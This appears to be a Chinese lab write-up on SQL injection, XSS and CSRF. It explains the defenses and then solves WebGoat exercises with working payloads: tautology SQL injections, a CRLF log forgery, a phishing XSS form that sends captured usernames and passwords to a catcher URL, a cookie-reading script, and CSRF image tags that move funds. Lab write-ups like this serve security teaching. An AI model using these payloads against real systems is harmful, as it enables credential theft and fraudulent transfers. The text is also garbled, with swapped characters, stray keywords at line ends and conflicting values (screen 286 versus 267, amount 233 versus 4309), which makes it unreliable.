SQL注入,就是经过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。javascript
SQL注入攻击是黑客对数据库进行攻击的经常使用手段之一。前端
SQL注入攻击指的是就是经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。java
防护:git
1.永远不要信任用户的输入。对用户的输入进行校验,能够经过正则表达式,双"-"进行转换等。web
2.永远不要使用动态拼装sql,可使用参数化的sql或者直接使用存储过程进行数据查询存取。正则表达式
3.永远不要使用管理员权限的数据库链接,为每一个应用使用单独的权限有限的数据库链接。sql
4.不要把秘密信息直接存放,加密或者hash掉密码和敏感的信息。数据库
XSS攻击:跨站脚本攻击。后端
XSS是一种常常出如今web应用中的计算机安全漏洞,它容许恶意web用户将代码植入到提供给其它用户使用的页面中。好比这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略。浏览器
防护:
基于特征的防护:
传统XSS防护多采用特征匹配方式,在全部提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法通常会须要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
基于代码修改的防护:
步骤1、对全部用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其余的一概过滤。
步骤2、实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
步骤3、确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤为是样式表和javascript),使用HTTP only的cookie。
CSRF即跨站请求伪造。借用用户的身份,向web server发送请求,由于该请求不是用户本意,因此称为“跨站请求伪造”。
CSRF通常的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当(登陆)用户访问某特定网页时,若是用户点击了该URL,那么攻击就触发了。
防护
referer
由于伪造的请求通常是从第三方网站发起的,因此第一个防护方法就是判断 referer 头,若是不是来自本网站的请求,就断定为CSRF攻击。可是该方法只能防护跨站的csrf攻击,不能防护同站的csrf攻击(虽然同站的csrf更难)。
使用验证码
每个重要的post提交页面,使用一个验证码,由于第三方网站是没法得到验证码的。还有使用手机验证码,好比转帐是使用的手机验证码。
使用token
每个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,若是token不对,就断定位CSRF攻击。
将敏感操做又get改成post,而后在表单中使用token. 尽可能使用post也有利于防护CSRF攻击。
先下载webgoat-container-7.0.1-war-exec.jar并将其复制到kali中
kali键入java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat,在firefox浏览器中输入http://localhost:8080/WebGoat进入登陆界面,输入默认的帐号便可登陆。
攻击要求:下面的表单容许用户查看天气数据。尝试注入SQL字符串,结果将显示全部天气数据。
这个题没法经过输入信息进行攻击,咱们只能按下f12进入网页后端,把这一处原来的101替换成 “101 or 1=1” ,构造永真式,在第一页选择哥伦比亚进行查询便可查询到表中全部天气状况。
攻击要求:下面的表格容许用户查看他们的信用卡号码。尝试注入一个SQL字符串,结果显示全部的信用卡号码显示。
输入 'or 1='1 构造永真式:第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。将一条语句被强行拆分红为两条语句。而第二句1=1永远成立,因此咱们能够查找到所有人及其银行卡帐号。
攻击:下面的灰色区域表示将要登陆到Web服务器的日志文件中的内容。你的目标是使它像一个用户名“admin”已成功登陆。 经过向日志文件中添加脚原本提高攻击。
先尝试输入帐号密码,发现不论输入什么用户名都会在同一行显示出来。因此咱们能够利用回车换行进行注入。
因此咱们在用户名框中输入 %0d%0a(换行符)Login Succeeded for username: admin 。登陆成功。
search框编写前端代码并在输入框中注入这段前端代码
<head> <body> <div> <div style="float:left;height:100px;width:50%;"></div> <div style="float:left;height:100px;width:50%;"></div> </div> <div style="height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("20145201 Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
按要求输入username password 便可截获成功
攻击要求:在务器端验证全部输入是一个很好的方法。XSS能够发生在未经验证的用户输入用于HTTP响应。在反射型XSS攻击中,攻击者能够制做一个URL攻击脚本发送到另外一个网站,好比电子邮件,而后让受害者点击它。
于Enter your three digit access codeA框内:填写 <script>alert(document.cookie);</script> ,此段代码能够获取cookie。
攻击要求:目标是把电子邮件发送到银行。该电子邮件包含一个图像,其URL指向恶意请求。能够经过在右边的参数中查找“src”和“menu”值来构造连接。 CSRF的电子邮件,是用来匿名的将收件人的资金转移。
输入
<img src=' http://localhost:8080/WebGoat/attack? Screen=286 &menu=900 &transferFunds=233 ' width='1' height='1'>
其中286是网页的scr,900是网页的menu,4309为转钱数额
攻击要求:与上一个攻击相似,不一样的是此次的目标是发送一组包含多个恶意请求的邮件:①资金转移请求②资金转移确认信息。
只须要在以前的基础上加一句确认信息便可:
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=CONFIRM " width="1" height="1" />
因此输入为:
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=4309" width="1" height="1" />
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=CONFIRM " width="1" height="1" />